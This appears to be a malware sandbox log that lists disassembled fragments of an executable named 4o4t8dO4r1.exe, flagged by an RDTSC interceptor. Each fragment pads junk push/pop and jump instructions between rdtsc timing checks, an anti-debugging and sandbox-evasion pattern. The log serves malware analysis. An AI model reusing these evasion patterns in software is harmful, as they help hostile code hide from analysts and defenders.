Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11458E2 second address: 11458EC instructions: 0x00000000 rdtsc 0x00000002 js 00007FA37887CBF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1145A3B second address: 1145A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1145A41 second address: 1145A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1145A45 second address: 1145A54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1145A54 second address: 1145A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 113C871 second address: 113C879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 113C879 second address: 113C87F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11460E3 second address: 11460EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1146995 second address: 11469C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA37887CBF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11469C0 second address: 11469CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11469CC second address: 11469D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11469D2 second address: 11469D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11469D6 second address: 11469EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 111A2A7 second address: 111A2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114D9CE second address: 114D9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114D9D3 second address: 114DA01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA378880E32h 0x00000008 jmp 00007FA378880E2Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114DA01 second address: 114DA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114DA05 second address: 114DA13 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114DA13 second address: 114DA28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jg 00007FA37887CBE6h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114DA28 second address: 114DA2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114CA9F second address: 114CAA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 114CAA5 second address: 114CAAF instructions: 0x00000000 rdtsc 0x00000002 je 00007FA378880E2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1111CC0 second address: 1111CC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1111CC6 second address: 1111CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA378880E34h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FA378880E32h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1151AB2 second address: 1151AD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jbe 00007FA37887CBF5h 0x0000000d jmp 00007FA37887CBEFh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1151C45 second address: 1151C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E33h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1151C60 second address: 1151C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1151C68 second address: 1151C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E38h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1151C85 second address: 1151CAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007FA37887CBEEh 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1151E11 second address: 1151E16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1151E16 second address: 1151E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FA37887CBF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FA37887CBE6h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1153DAD second address: 1153DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1153DB3 second address: 1153DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115465B second address: 11546DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA378880E31h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebx 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FA378880E28h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a pushad 0x0000002b jmp 00007FA378880E2Eh 0x00000030 movsx eax, dx 0x00000033 popad 0x00000034 mov di, AA88h 0x00000038 nop 0x00000039 pushad 0x0000003a jnl 00007FA378880E34h 0x00000040 jmp 00007FA378880E2Ah 0x00000045 popad 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jo 00007FA378880E2Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11546DC second address: 11546E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1154777 second address: 1154783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1154783 second address: 115478D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA37887CBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115478D second address: 1154792 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1154792 second address: 1154798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1154AE0 second address: 1154B17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jg 00007FA378880E2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA378880E37h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1154B17 second address: 1154B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1154BEC second address: 1154BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11551A0 second address: 11551A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11551A6 second address: 11551DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 call 00007FA378880E36h 0x0000000e pop edi 0x0000000f push 00000000h 0x00000011 mov esi, 13D90DC9h 0x00000016 push 00000000h 0x00000018 je 00007FA378880E28h 0x0000001e mov esi, ebx 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11551DD second address: 11551E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1155ADB second address: 1155AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1155AE1 second address: 1155AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1158147 second address: 115814B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1158ADC second address: 1158AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnp 00007FA37887CBE8h 0x00000011 jbe 00007FA37887CBECh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115952C second address: 1159542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115ACE0 second address: 115ACF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA37887CBECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115C092 second address: 115C096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11620CF second address: 11620D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11620D3 second address: 11620E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FA378880E26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11620E1 second address: 1162165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FA37887CBE8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 cld 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007FA37887CBE8h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 mov bx, AEC1h 0x00000045 push 00000000h 0x00000047 jmp 00007FA37887CBECh 0x0000004c xchg eax, esi 0x0000004d jno 00007FA37887CC04h 0x00000053 push eax 0x00000054 push edi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1164268 second address: 1164272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1164272 second address: 1164276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11622FE second address: 1162304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1164276 second address: 116427A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116427A second address: 1164280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1164280 second address: 11642A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a jmp 00007FA37887CBF4h 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116481D second address: 1164823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11657CE second address: 11657D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11657D4 second address: 1165848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FA378880E2Dh 0x00000012 push eax 0x00000013 jnl 00007FA378880E26h 0x00000019 pop eax 0x0000001a popad 0x0000001b nop 0x0000001c mov di, ax 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FA378880E28h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000015h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b xor dword ptr [ebp+122D1991h], eax 0x00000041 push 00000000h 0x00000043 mov bl, D7h 0x00000045 push eax 0x00000046 js 00007FA378880E48h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FA378880E31h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1164A31 second address: 1164ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FA37887CBE8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push dword ptr fs:[00000000h] 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FA37887CBE8h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 call 00007FA37887CBF0h 0x00000048 mov dword ptr [ebp+12458719h], edx 0x0000004e pop ebx 0x0000004f mov dword ptr fs:[00000000h], esp 0x00000056 movzx edi, cx 0x00000059 mov eax, dword ptr [ebp+122D043Dh] 0x0000005f push edi 0x00000060 mov ebx, dword ptr [ebp+122D253Ch] 0x00000066 pop edi 0x00000067 push FFFFFFFFh 0x00000069 mov dword ptr [ebp+122D3456h], eax 0x0000006f nop 0x00000070 pushad 0x00000071 jno 00007FA37887CBECh 0x00000077 push eax 0x00000078 push edx 0x00000079 jnp 00007FA37887CBE6h 0x0000007f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11669DA second address: 1166A01 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FA378880E33h 0x00000011 js 00007FA378880E2Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1167AFC second address: 1167B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBECh 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FA37887CBE8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 add dword ptr [ebp+1244406Eh], edi 0x0000002b jg 00007FA37887CBE8h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FA37887CBF7h 0x00000039 push edx 0x0000003a pop edi 0x0000003b pop ebx 0x0000003c pop ebx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007FA37887CBE8h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 00000017h 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 or dword ptr [ebp+1246212Eh], edi 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 push ebx 0x00000063 push edx 0x00000064 pop edx 0x00000065 pop ebx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1168B4D second address: 1168B57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1165A31 second address: 1165AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cld 0x0000000b push dword ptr fs:[00000000h] 0x00000012 jmp 00007FA37887CBF5h 0x00000017 jmp 00007FA37887CBF8h 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov dword ptr [ebp+122D333Ch], eax 0x00000029 mov eax, dword ptr [ebp+122D1741h] 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007FA37887CBE8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 mov bl, ch 0x0000004b push FFFFFFFFh 0x0000004d mov edi, dword ptr [ebp+122D333Ch] 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1165AB9 second address: 1165ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1165ABD second address: 1165AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1165AC1 second address: 1165AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1165AC7 second address: 1165ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1165ACD second address: 1165AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1165AD1 second address: 1165ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1169C0C second address: 1169C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA378880E39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1167DAE second address: 1167DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1168C25 second address: 1168C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1169DC7 second address: 1169DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1169E86 second address: 1169E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
